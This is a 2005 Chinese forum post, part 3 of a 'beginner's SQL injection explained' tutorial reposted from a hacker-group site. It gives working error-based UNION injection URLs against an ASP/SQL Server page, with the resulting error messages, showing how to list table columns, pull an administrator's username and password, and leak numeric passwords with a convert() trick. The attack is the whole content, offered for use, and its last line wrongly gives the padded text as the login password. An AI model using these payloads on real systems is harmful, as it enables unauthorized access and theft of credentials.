发新帖  新投票  回帖  关闭侧栏
441039个阅读者,0条回复 | 打印 | 订阅 | 收藏
隐身或者不在线

发表时间:2005-7-13 20:11

菜鸟SQL注入详解3



glf5g 发表在 网络纵横 华声论坛 http://bbs.voc.com.cn/forum-34-1.html


华夏黑客同盟 http://www.77169.org nvarchar value
u_name to a column of data type int.
/index.asp, line 5
我们继续,获得其他列表。如:"password"等,因为我们获得下面错误信息:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login WHERE COLUMN_NAME
NOT IN
(u_id,u_name,password,contents)--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear
in the select
list if the statement contains a UNION operator.
/index.asp, line 5
6。2 如何找到我们要找的重要数据呢?
现在我们知道了表名,字段名,我们用相同的方法收集我们要的在数据库里的信息。
现在,我们从"admin_login" 表里取得第一个u_name :
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 u_name FROM
admin_login--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
adminroot to a column of data type int.
/index.asp, line 5我们知道,这里有登陆的用户名叫 "adminroot"的管理员。最后,从数据库里获得"adminroot" 的密码

http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM
admin_login where
u_name=adminroot--
现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
root to a column of data type int.
/index.asp, line 5
我们现在能用户名"adminroot"密码:"root"登陆了。

如何取得数字的值?
以上技术描述有有一定的局限性。当我们试图转换文本组成有效的数字0-9我们不能得到任何错误。
让我们说说如何获得"tony"的密码,密码是 "19840217":
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 password FROM
admin_login where
u_name=tony--
我们很可能发现,该页无法显示的错误。这结果表示,密码"19840217"被修改到一个数了。在整
合一个整型(10 也是),因为这是一个有效的整合。所以SQL服务就不会给出错误的提示了。
我们就得不到数字的登陆了。
要解决这个问题,我们能附加一些字母来测试转换失败。我们用以下的测试来代替:
http://xxx.xxx.com/job/grxx.asp?id=23 ;UNION SELECT TOP 1 convert(int,
password%2b%20lambgirl) FROM admin_login where u_name=tony--
我们简单地利用加号+设置密码数据文件的搜索路径。随便加一些。ASSCII码+ = 0x2b
我们将添加空格在密码里。所以,如果把我们的密码是19840217。他将变成19840217 lambgirl.
调出了转换了的函数。试着将19840217 lambgirl转变成整型。SQL服务将出现ODBC错误:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
19840217 lambgirl to a column of data type int.
/index.asp, line 5
现在,你就能用tony和密码:19840217 lambgirl了。


发新帖 新投票
 回帖
查看积分策略说明快速回复主题
你的用户名: 密码:   免费注册(只要30秒)


使用个人签名

(请您文明上网理性发言!并遵守相关规定
   



Processed in 0.036158 s, 8 q - 无图精简版,sitemap,